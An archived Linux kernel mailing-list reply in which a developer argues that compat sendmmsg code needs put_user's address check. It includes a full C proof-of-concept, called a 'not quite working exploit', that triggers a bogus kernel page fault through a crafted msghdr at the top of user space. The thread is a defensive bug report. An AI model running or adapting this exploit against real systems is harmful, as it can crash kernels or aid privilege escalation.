Re: sendmmsg: put_user vs __put_user

From: Andy Lutomirski
Date: Thu Apr 05 2012 - 20:14:27 EST


On 03/30/2012 05:51 PM, David Miller wrote:
> From: Ulrich Drepper <drepper@xxxxxxxxx>
> Date: Fri, 30 Mar 2012 09:36:11 -0400
>
>> Shouldn't the compat code in the sendmmsg implementation use the same
>> code as the normal code? In which case you probably want something
>> like this:
>
> Compat processes are not able to generate virtual addresses anywhere
> near the range where the kernel resides, so the address range
> verification done by put_user() is completely superfluous and
> therefore not necessary. The normal exception handling done by the
> access is completely sufficient.

I disagree. The following exploit causes a bogus page fault to a kernel
address. I think this isn't exploitable right now on x86-64 because the
page fault handler fixes it up, but I wouldn't be surprised if this
crashes or at least warns on some architecture. (Actually trashing
kernel memory is probably impossible with this on x86-64 chips because
this can only overrun user space by four bytes, and there's a giant gap
of impossible addresses above user space in x86-64.

Compile as 64 bit code. Tested by instrumenting the page fault handler.

/* Not quite working exploit. Copyright (c) 2012 Andy Lutomirski. */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <string.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdio.h>

#define COMPAT_MSGHDR_SIZE 28
#define TASK_SIZE_MAX ((1UL << 47) - 4096)
#define MSG_CMSG_COMPAT 0x80000000

int main()
{
int s;
struct sockaddr_in addr;
struct msghdr *hdr;

char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1, 0);
if (highpage == MAP_FAILED) {
perror("mmap");
return 1;
}

s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s == -1) {
perror("socket");
return 1;
}

addr.sin_family = AF_INET;
addr.sin_port = htons(1);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
perror("connect");
return 1;
}

void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE;
printf("Evil address is %p\n", evil);

// Purely for illustration.
if (sendmsg(s, evil, MSG_CMSG_COMPAT) < 0) {
perror("sendmsg");
return 1;
}
memset(highpage, 0, 4096);
{
int tmp;
socklen_t sz;
getsockopt(s, SOL_SOCKET, SO_ERROR, &tmp, &sz);
}

if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0) {
perror("sendmmsg");
return 1;
}

return 0;
}
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/